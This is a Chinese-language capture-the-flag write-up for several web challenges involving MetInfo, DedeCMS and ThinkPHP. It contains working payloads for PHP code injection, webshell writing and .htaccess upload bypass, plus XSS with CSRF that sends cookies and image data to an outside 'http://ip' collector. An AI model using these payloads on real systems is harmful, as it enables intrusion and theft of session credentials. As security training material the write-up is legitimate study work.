目录扫描得到file/file.php,然后猜测可以跨目录删除文件

删除文件后重装metinfo,重装的时候数据库名填写:

met#*/@eval($_GET[1]);/*

密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。

最后就是getshell拿flag

mysqlonline

通过mysql执行,经过hex编码后,输出可以造成xss

select 0x3c70743e616c6572742831293c2f70743e

结合csrf即可打到后台

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="" method="POST">

<input type="hidden" name="sql" value="select 0x30783c7074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f70743e" />

</form>

<script>document.forms[0].submit();</script>

</body>

</html>

其中加载的js内容为:

self.location = 'http://ip/x.php?

v=aaa'+btoa(document.cookie)+'aaa';

可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。

提示后台只能是127.0.0.1这个访问。所以需要改一下前面的csrf html

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="" method="POST">

<input type="hidden" name="sql" value="select 0x30783c7074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f70743e" />

</form>

<script>document.forms[0].submit();</script>

</body>

</html>

然后便可以打到cookie

通过页面源码获取可以知道一个./static/img/iamsecret_555.jpg

外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。

var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};

function getBase64(img){

function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小

var canvas = document.createElement("canvas");

canvas.width = width ? width : img.width;

canvas.height = height ? height : img.height;

var ctx = canvas.getContext("2d");

ctx.drawImage(img, 0, 0, canvas.width, canvas.height);

var dataURL = canvas.toDataURL();

return dataURL;

var image = new Image();

image.crossOrigin = '';

image.src = img;

return new Promise((resolve,reject)=>{

image.onload =function (){

resolve(getBase64Image(image));//将base64传给done上传处理

getBase64('').then(base64 => {

"http://ip/xss/x.php",

"v="+base64,

function(res){

console.log(res);

}, err => {

console.log(err)

获取图片内容

X.php内容

header('Access-Control-Allow-Origin: *');

file_put_contents('log.txt',$_POST['v']);

最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。

题目描述:

运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {

die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);

$_GET['a']($_GET['b']);

感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。

考点便是前段时间一个思路很棒的漏洞:dedecms利用通配符找后台目录

当然getimagesize这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。

所以接下来就比较简单了,直接利用本身的shell去操作即可。

POST /tags.php HTTP/1.1

Host: love.lemon

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6

Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=07; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 251

dopost=save&_FILES[lsa][tmp_name]=%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif

首先看到首页:

猜测密码为弱口令babyweb@1990登陆后发现任意文件上传,但是只能图片格式

用top100密码爆破mysql,1q2w3e4r5t6y,这里本来是用root,但是搅屎太多,改为了babyweb

进入后发现

然后更改type的json数据为{"0":"png","1":"gif","2":"jpg","3":"xxx","5":"htaccess"}即可上传htaccess

AddType application/x-httpd-php .xxx

php_flag engine 1

上传后,在file下可以看到文件名

然后访问../img/name.xxx即可shell

A Simple CMS

考点就是thinkphp的缓存getshell漏洞,当然先得发现备份文件www.zip,然后进行审计。

/* 获取缓存数据 */

if(empty($list)){

$list = S('sys_user_nickname_list');

审计代码发现更改了源码因为用户名有长度限制于是直接这样就OK

%0a@`$_GET[c]`;//

然后即可拿到shell